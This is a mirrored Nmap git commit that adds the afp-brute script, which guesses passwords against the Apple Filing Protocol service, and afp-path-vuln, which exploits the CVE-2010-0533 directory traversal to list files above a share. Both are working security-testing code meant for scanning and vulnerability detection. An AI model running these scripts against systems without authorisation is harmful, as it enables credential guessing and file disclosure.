mirror of
https://github.com/nmap/nmap.git
synced 2026-08-04 06:40:48 +00:00
o [NSE] Updated the AFP library to support several new AFP functions and added
authentication support. Updated the afp-showmount script and added two new
scripts:
- afp-brute attempts to guess passwords against the AFP service
- afp-path-vuln detects the AFP directory traversal vulnerability
CVE-2010-0533
[Patrik]
This commit is contained in:
parent
7a953e2153
commit
b1e64b3161
6 changed files with 1942 additions and 491 deletions
|
|
@ -2,7 +2,13 @@
|
|||
|
||||
Nmap 5.22TEST [2010-03-29]
|
||||
|
||||
o Placeholder for new NSE scripts count/info
|
||||
o [NSE] Updated the AFP library to support several new AFP functions and added
|
||||
authentication support. Updated the afp-showmount script and added two new
|
||||
scripts:
|
||||
- afp-brute attempts to guess passwords against the AFP service
|
||||
- afp-path-vuln detects the AFP directory traversal vulnerability
|
||||
CVE-2010-0533
|
||||
[Patrik]
|
||||
|
||||
o An ALPHA TEST VERSION of Nping, a packet generater written by Luis
|
||||
MartinGarcia and Fyodor last summer, is now included in the Nmap
|
||||
|
|
|
|||
1975
nselib/afp.lua
1975
nselib/afp.lua
File diff suppressed because it is too large
Load diff
112
scripts/afp-brute.nse
Normal file
112
scripts/afp-brute.nse
Normal file
|
|
@ -0,0 +1,112 @@
|
|||
description = [[
|
||||
Performs password guessing against Apple Filing Protocol (AFP)
|
||||
]]
|
||||
|
||||
---
|
||||
-- @usage
|
||||
-- nmap -p 548 --script afp-brute <host>
|
||||
--
|
||||
-- @output
|
||||
-- PORT STATE SERVICE
|
||||
-- 548/tcp open afp
|
||||
-- | afp-brute:
|
||||
-- |_ admin:KenSentMe => Login Correct
|
||||
--
|
||||
--
|
||||
-- Information on AFP implementations
|
||||
--
|
||||
-- Snow Leopard
|
||||
-- ------------
|
||||
-- - Delay 10 seconds for accounts with more than 5 incorrect login attempts (good)
|
||||
-- - Instant response if password is successfull
|
||||
--
|
||||
-- Netatalk
|
||||
-- --------
|
||||
-- - Netatalk responds with a "Parameter error" when the username is invalid
|
||||
--
|
||||
|
||||
author = "Patrik Karlsson"
|
||||
license = "Same as Nmap--See http://nmap.org/book/man-legal.html"
|
||||
categories = {"intrusive", "auth"}
|
||||
|
||||
require 'shortport'
|
||||
require 'stdnse'
|
||||
require 'afp'
|
||||
require 'unpwdb'
|
||||
|
||||
-- Version 0.2
|
||||
-- Created 01/15/2010 - v0.1 - created by Patrik Karlsson <patrik@cqure.net>
|
||||
-- Revised 03/09/2010 - v0.2 - changed so that passwords are iterated over users
|
||||
-- - this change makes better sence as guessing is slow
|
||||
|
||||
portrule = shortport.port_or_service(548, "afp")
|
||||
|
||||
action = function( host, port )
|
||||
|
||||
local max_time = unpwdb.timelimit() ~= nil and unpwdb.timelimit() * 1000 or -1
|
||||
local clock_start = nmap.clock_ms()
|
||||
local result, response, status, aborted = {}, nil, nil, false
|
||||
local valid_accounts, found_users = {}, {}
|
||||
local helper
|
||||
|
||||
status, usernames = unpwdb.usernames()
|
||||
if not status then return end
|
||||
|
||||
status, passwords = unpwdb.passwords()
|
||||
if not status then return end
|
||||
|
||||
for password in passwords do
|
||||
for username in usernames do
|
||||
if ( not(found_users[username]) ) then
|
||||
if max_time>0 and nmap.clock_ms() - clock_start > max_time then
|
||||
aborted=true
|
||||
break
|
||||
end
|
||||
|
||||
helper = afp.Helper:new()
|
||||
status, response = helper:OpenSession( host, port )
|
||||
|
||||
if ( not(status) ) then
|
||||
stdnse.print_debug("OpenSession failed")
|
||||
return
|
||||
end
|
||||
|
||||
|
||||
stdnse.print_debug( string.format("Trying %s/%s ...", username, password ) )
|
||||
status, response = helper:Login( username, password )
|
||||
|
||||
-- if the response is "Parameter error." we're dealing with Netatalk
|
||||
-- This basically means that the user account does not exist
|
||||
-- In this case, why bother continuing? Simply abort and thank Netatalk for the fish
|
||||
if response:match("Parameter error.") then
|
||||
stdnse.print_debug("Netatalk told us the user does not exist! Thanks.")
|
||||
-- mark it as "found" to skip it
|
||||
found_users[username] = true
|
||||
end
|
||||
|
||||
if status then
|
||||
-- Add credentials for other afp scripts to use
|
||||
if nmap.registry.afp == nil then
|
||||
nmap.registry.afp = {}
|
||||
end
|
||||
nmap.registry.afp[username]=password
|
||||
found_users[username] = true
|
||||
|
||||
table.insert( valid_accounts, string.format("%s:%s => Login Correct", username, password:len()>0 and password or "<empty>" ) )
|
||||
break
|
||||
end
|
||||
helper:CloseSession()
|
||||
end
|
||||
end
|
||||
usernames("reset")
|
||||
end
|
||||
|
||||
local output = stdnse.format_output(true, valid_accounts)
|
||||
|
||||
if max_time > 0 and aborted then
|
||||
output = ( output or "" ) .. string.format(" \n\nscript aborted execution after %d seconds", max_time/1000 )
|
||||
end
|
||||
|
||||
return output
|
||||
|
||||
end
|
||||
177
scripts/afp-path-vuln.nse
Normal file
177
scripts/afp-path-vuln.nse
Normal file
|
|
@ -0,0 +1,177 @@
|
|||
description = [[ Detects the Mac OS X AFP directory traversal vulnerability CVE-2010-0533 ]]
|
||||
|
||||
---
|
||||
-- @args afp.username The username to use for authentication. (If unset it first attempts to use credentials found by afp-brute then no credentials)
|
||||
-- @args afp.password The password to use for authentication. (If unset it first attempts to use credentials found by afp-brute then no credentials)
|
||||
--
|
||||
--@output
|
||||
-- PORT STATE SERVICE
|
||||
-- 548/tcp open afp
|
||||
-- | afp-path-vuln:
|
||||
-- | Patrik Karlsson's Public Folder/../ (5 first items)
|
||||
-- | .bash_history
|
||||
-- | .bash_profile
|
||||
-- | .CFUserTextEncoding
|
||||
-- | .config/
|
||||
-- | .crash_report_checksum
|
||||
-- |
|
||||
-- |_AFP path traversal (CVE-2010-0533): VULNERABLE
|
||||
--
|
||||
-- Description
|
||||
-- -----------
|
||||
-- This script attempt to iterate over all AFP shares on the remote host.
|
||||
-- For each share it attempts to access the parent directory by exploiting
|
||||
-- the directory traversal vulnerability as described in CVE-2010-0533.
|
||||
--
|
||||
-- The script reports whether the system is vulnerable or not. In addition it
|
||||
-- lists the contents of the parent and child directories to a max depth of 2.
|
||||
--
|
||||
-- When running in verbose mode, all items in the listed directories are shown.
|
||||
-- In non verbose mode, output is limited to the first 5 items.
|
||||
--
|
||||
-- If the server is not vulnerable, the script will not return any information.
|
||||
--
|
||||
--
|
||||
-- For additional information:
|
||||
-- http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-0533
|
||||
-- http://www.cqure.net/wp/2010/03/detecting-apple-mac-os-x-afp-vulnerability-cve-2010-0533-with-nmap
|
||||
-- http://support.apple.com/kb/HT1222
|
||||
|
||||
--
|
||||
-- Version 0.3
|
||||
--
|
||||
-- Created 02/09/2010 - v0.1 - created by Patrik Karlsson as PoC for Apple
|
||||
-- Revised 05/03/2010 - v0.2 - cleaned up and added dependency to afp-brute and added support
|
||||
-- for credentials by argument or registry
|
||||
-- Revised 10/03/2010 - v0.3 - combined afp-path-exploit and afp-path-vuln into this script
|
||||
|
||||
author = "Patrik Karlsson"
|
||||
license = "Same as Nmap--See http://nmap.org/book/man-legal.html"
|
||||
categories = {"vuln", "safe"}
|
||||
|
||||
require 'shortport'
|
||||
require 'stdnse'
|
||||
require 'afp'
|
||||
|
||||
dependencies = {"afp-brute"}
|
||||
|
||||
portrule = shortport.portnumber(548, "tcp")
|
||||
|
||||
--- This function processes the table returned by the Dir method of the Helper class
|
||||
--
|
||||
-- @param tbl table containing the table as return from the Dir method
|
||||
-- @param max_count number containing the maximum items to return
|
||||
-- @param out table used when called recursively should be nil on first call
|
||||
-- @param count number with total amount of entries so far, nil at first call
|
||||
-- @return table suitable for stdnse.format_output
|
||||
local function processResponse( tbl, max_count, out, count )
|
||||
|
||||
local out = out or {}
|
||||
local count = count or 0
|
||||
|
||||
for _, v in ipairs(tbl) do
|
||||
if ( max_count and max_count > 0 and max_count <= count ) then
|
||||
break
|
||||
end
|
||||
if ( v.name ) then
|
||||
local sfx = ( v.type == 0x80 ) and "/" or ""
|
||||
table.insert(out, v.name .. sfx )
|
||||
count = count + 1
|
||||
elseif( type(v) == 'table' ) then
|
||||
local tmp = {}
|
||||
table.insert( out, tmp )
|
||||
processResponse( v, max_count, tmp, count )
|
||||
end
|
||||
end
|
||||
|
||||
-- strip the outer table
|
||||
return out[1]
|
||||
end
|
||||
|
||||
--- This function simply checks if the table contains a Directory Id (DID) of 2
|
||||
-- The DID of the AFP sharepoint is always 2, but no child should have this DID
|
||||
--
|
||||
-- @param tbl table containing the table as return from the Dir method
|
||||
-- @return true if host is vulnerable, false otherwise
|
||||
local function isVulnerable( tbl )
|
||||
for _, v in ipairs(tbl) do
|
||||
-- if we got no v.id it's probably a container table
|
||||
if ( not(v.id) ) then
|
||||
if ( isVulnerable(v) ) then
|
||||
return true
|
||||
end
|
||||
end
|
||||
if ( v.id == 2 ) then
|
||||
return true
|
||||
end
|
||||
end
|
||||
return false
|
||||
end
|
||||
|
||||
action = function(host, port)
|
||||
|
||||
local status, response, shares
|
||||
local result = {}
|
||||
local afp_helper = afp.Helper:new()
|
||||
local args = nmap.registry.args
|
||||
local users = nmap.registry.afp or { ['nil'] = 'nil' }
|
||||
local vulnerable = false
|
||||
|
||||
local MAX_FILES = 5
|
||||
|
||||
if ( args['afp.username'] ) then
|
||||
users = {}
|
||||
users[args['afp.username']] = args['afp.password']
|
||||
end
|
||||
|
||||
for username, password in pairs(users) do
|
||||
|
||||
status, response = afp_helper:OpenSession(host, port)
|
||||
if ( not(status) ) then
|
||||
stdnse.print_debug(response)
|
||||
return
|
||||
end
|
||||
|
||||
-- Attempt to use No User Authentication?
|
||||
if ( username ~= 'nil' ) then
|
||||
status, response = afp_helper:Login(username, password)
|
||||
else
|
||||
status, response = afp_helper:Login(nil, nil)
|
||||
end
|
||||
if ( not(status) ) then
|
||||
stdnse.print_debug("afp-path-vuln: Login failed", response)
|
||||
stdnse.print_debug(3, "afp-path-vuln: Login error: %s", response)
|
||||
return
|
||||
end
|
||||
|
||||
status, shares = afp_helper:ListShares()
|
||||
|
||||
for _, share in ipairs(shares) do
|
||||
|
||||
local status, response = afp_helper:Dir( share .. "/../", { max_depth = 2 } )
|
||||
|
||||
if ( not(status) ) then
|
||||
stdnse.print_debug(3, "afp-path-vuln: %s", response)
|
||||
else
|
||||
if ( isVulnerable( response ) ) then
|
||||
vulnerable = true
|
||||
if(nmap.verbosity() > 1) then
|
||||
response = processResponse( response )
|
||||
response.name = share .. "/../"
|
||||
else
|
||||
response = processResponse( response, MAX_FILES )
|
||||
response.name = share .. ("/../ (%d first items)"):format(MAX_FILES)
|
||||
end
|
||||
table.insert(result, response)
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
if ( vulnerable ) then
|
||||
table.insert(result, "\n\nAFP path traversal (CVE-2010-0533): VULNERABLE")
|
||||
end
|
||||
|
||||
return stdnse.format_output(true, result)
|
||||
|
||||
end
|
||||
|
|
@ -1,6 +1,9 @@
|
|||
description = [[ Shows AFP shares and ACLs ]]
|
||||
|
||||
---
|
||||
-- @args afp.username The username to use for authentication. (If unset it first attempts to use credentials found by afp-brute then no credentials)
|
||||
-- @args afp.password The password to use for authentication. (If unset it first attempts to use credentials found by afp-brute then no credentials)
|
||||
--
|
||||
--@output
|
||||
-- PORT STATE SERVICE
|
||||
-- 548/tcp open afp
|
||||
|
|
@ -17,10 +20,13 @@ description = [[ Shows AFP shares and ACLs ]]
|
|||
-- | User: Search,Read
|
||||
-- |_ Options: IsOwner
|
||||
|
||||
-- Version 0.3
|
||||
-- Version 0.4
|
||||
-- Created 01/03/2010 - v0.1 - created by Patrik Karlsson
|
||||
-- Revised 01/13/2010 - v0.2 - Fixed a bug where a single share wouldn't show due to formatting issues
|
||||
-- Revised 01/20/2010 - v0.3 - removed superflous functions
|
||||
-- Revised 05/03/2010 - v0.4 - cleaned up and added dependency to afp-brute and added support for credentials
|
||||
-- by argument or registry
|
||||
|
||||
|
||||
author = "Patrik Karlsson"
|
||||
license = "Same as Nmap--See http://nmap.org/book/man-legal.html"
|
||||
|
|
@ -30,119 +36,63 @@ require 'shortport'
|
|||
require 'stdnse'
|
||||
require 'afp'
|
||||
|
||||
dependencies = {"afp-brute"}
|
||||
|
||||
portrule = shortport.portnumber(548, "tcp")
|
||||
|
||||
--- Converts a group bitmask of Search, Read and Write to table
|
||||
--
|
||||
-- @param acls number containing bitmasked acls
|
||||
-- @return table of ACLs
|
||||
function acl_group_to_long_string(acls)
|
||||
|
||||
local acl_table = {}
|
||||
|
||||
if bit.band( acls, afp.ACLS.OwnerSearch ) == afp.ACLS.OwnerSearch then
|
||||
table.insert( acl_table, "Search")
|
||||
end
|
||||
|
||||
if bit.band( acls, afp.ACLS.OwnerRead ) == afp.ACLS.OwnerRead then
|
||||
table.insert( acl_table, "Read")
|
||||
end
|
||||
|
||||
if bit.band( acls, afp.ACLS.OwnerWrite ) == afp.ACLS.OwnerWrite then
|
||||
table.insert( acl_table, "Write")
|
||||
end
|
||||
|
||||
return acl_table
|
||||
end
|
||||
|
||||
|
||||
--- Converts a numeric acl to string
|
||||
--
|
||||
-- @param acls number containig acls as recieved from <code>fp_get_file_dir_parms</code>
|
||||
-- @return table of long ACLs
|
||||
function acls_to_long_string( acls )
|
||||
|
||||
local owner = acl_group_to_long_string( bit.band( acls, 255 ) )
|
||||
local group = acl_group_to_long_string( bit.band( bit.rshift(acls, 8), 255 ) )
|
||||
local everyone = acl_group_to_long_string( bit.band( bit.rshift(acls, 16), 255 ) )
|
||||
local user = acl_group_to_long_string( bit.band( bit.rshift(acls, 24), 255 ) )
|
||||
|
||||
local blank = bit.band( acls, afp.ACLS.BlankAccess ) == afp.ACLS.BlankAccess and "Blank" or nil
|
||||
local isowner = bit.band( acls, afp.ACLS.UserIsOwner ) == afp.ACLS.UserIsOwner and "IsOwner" or nil
|
||||
|
||||
local options = {}
|
||||
|
||||
if blank then
|
||||
table.insert(options, "Blank")
|
||||
end
|
||||
|
||||
if isowner then
|
||||
table.insert(options, "IsOwner")
|
||||
end
|
||||
|
||||
local acls_tbl = {}
|
||||
|
||||
table.insert( acls_tbl, string.format( "Owner: %s", stdnse.strjoin(",", owner) ) )
|
||||
table.insert( acls_tbl, string.format( "Group: %s", stdnse.strjoin(",", group) ) )
|
||||
table.insert( acls_tbl, string.format( "Everyone: %s", stdnse.strjoin(",", everyone) ) )
|
||||
table.insert( acls_tbl, string.format( "User: %s", stdnse.strjoin(",", user) ) )
|
||||
|
||||
if #options > 0 then
|
||||
table.insert( acls_tbl, string.format( "Options: %s", stdnse.strjoin(",", options ) ) )
|
||||
end
|
||||
|
||||
return acls_tbl
|
||||
|
||||
end
|
||||
|
||||
action = function(host, port)
|
||||
|
||||
local socket = nmap.new_socket()
|
||||
local status
|
||||
local status, response, shares
|
||||
local result = {}
|
||||
|
||||
-- set a reasonable timeout value
|
||||
socket:set_timeout(5000)
|
||||
|
||||
-- do some exception handling / cleanup
|
||||
local catch = function()
|
||||
socket:close()
|
||||
end
|
||||
|
||||
local try = nmap.new_try(catch)
|
||||
local afpHelper = afp.Helper:new()
|
||||
local args = nmap.registry.args
|
||||
local users = nmap.registry.afp or { ['nil'] = 'nil' }
|
||||
|
||||
try( socket:connect(host.ip, port.number, "tcp") )
|
||||
if ( args['afp.username'] ) then
|
||||
users = {}
|
||||
users[args['afp.username']] = args['afp.password']
|
||||
end
|
||||
|
||||
response = try( afp.open_session(socket) )
|
||||
response = try( afp.fp_login( socket, "AFP3.1", "No User Authent") )
|
||||
response = try( afp.fp_get_user_info( socket ) )
|
||||
response = try( afp.fp_get_srvr_parms( socket ) )
|
||||
|
||||
volumes = response.volumes
|
||||
|
||||
for _, vol in pairs(volumes) do
|
||||
table.insert( result, vol )
|
||||
for username, password in pairs(users) do
|
||||
|
||||
status, response = afp.fp_open_vol( socket, afp.VOL_BITMAP.ID, vol )
|
||||
status, response = afpHelper:OpenSession(host, port)
|
||||
if ( not status ) then
|
||||
stdnse.print_debug(response)
|
||||
return
|
||||
end
|
||||
|
||||
-- if we have a username attempt to authenticate as the user
|
||||
-- Attempt to use No User Authentication?
|
||||
if ( username ~= 'nil' ) then
|
||||
status, response = afpHelper:Login(username, password)
|
||||
else
|
||||
status, response = afpHelper:Login()
|
||||
end
|
||||
|
||||
if ( not status ) then
|
||||
stdnse.print_debug("afp-showmount: Login failed", response)
|
||||
stdnse.print_debug(3, "afp-showmount: Login error: %s", response)
|
||||
return
|
||||
end
|
||||
|
||||
status, shares = afpHelper:ListShares()
|
||||
|
||||
if status then
|
||||
local vol_id = response.volume_id
|
||||
stdnse.print_debug(string.format("Vol_id: %d", vol_id))
|
||||
|
||||
local path = {}
|
||||
path.type = afp.PATH_TYPE.LongNames
|
||||
path.name = ""
|
||||
path.len = path.name:len()
|
||||
|
||||
response = try( afp.fp_get_file_dir_parms( socket, vol_id, 2, 0, afp.DIR_BITMAP.AccessRights, path ) )
|
||||
local acls = acls_to_long_string(response.acls)
|
||||
acls.name = nil
|
||||
try( afp.fp_close_vol( socket, vol_id ) )
|
||||
table.insert( result, acls )
|
||||
for _, vol in ipairs( shares ) do
|
||||
local status, response = afpHelper:GetSharePermissions( vol )
|
||||
if status then
|
||||
response.name = vol
|
||||
table.insert(result, response)
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
return stdnse.format_output(true, result)
|
||||
|
||||
status, response = afpHelper:Logout()
|
||||
status, response = afpHelper:CloseSession()
|
||||
|
||||
if ( result ) then
|
||||
return stdnse.format_output(true, result)
|
||||
end
|
||||
end
|
||||
return
|
||||
end
|
||||
|
|
@ -1,3 +1,6 @@
|
|||
Entry { filename = "afp-brute.nse", categories = { "auth", "intrusive", } }
|
||||
Entry { filename = "afp-path-exploit.nse", categories = { "safe", "vuln", } }
|
||||
Entry { filename = "afp-path-vuln.nse", categories = { "safe", "vuln", } }
|
||||
Entry { filename = "afp-showmount.nse", categories = { "discovery", "safe", } }
|
||||
Entry { filename = "asn-query.nse", categories = { "discovery", "external", "safe", } }
|
||||
Entry { filename = "auth-owners.nse", categories = { "default", "safe", } }
|
||||
|
|
|
|||
Loading…
Add table
Add a link
Reference in a new issue